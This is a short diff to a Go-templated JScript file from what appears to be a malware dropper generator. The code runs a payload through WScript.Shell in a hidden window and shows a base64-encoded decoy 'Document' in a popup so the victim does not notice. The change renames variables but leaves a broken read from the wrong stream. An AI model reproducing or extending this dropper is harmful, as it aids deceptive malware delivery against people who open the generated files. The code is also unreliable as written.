diff --git a/cmd/jscript.gojs b/cmd/jscript.gojs index fda1d13..b6f0d28 100644 --- a/cmd/jscript.gojs +++ b/cmd/jscript.gojs @@ -9,13 +9,13 @@ var shell = new ActiveXObject("WScript.Shell"); shell.Run(bytes, 0, false); {{if len .EncodedDecoy}} -var stream2 = new ActiveXObject("ADODB.Stream"); -stream.Type = 1; +var s2 = new ActiveXObject("ADODB.Stream"); +s2.Type = 1; -stream.Write(window.atob({{.EncodedDecoy}})); +s2.Write(window.atob({{.EncodedDecoy}})); -var bytes = stream.Read(); -shell.Popup(bytes, 0, "Document", 0x40); +var b2 = stream.Read(); +shell.Popup(b2, 0, "Document", 0x40); {{end}}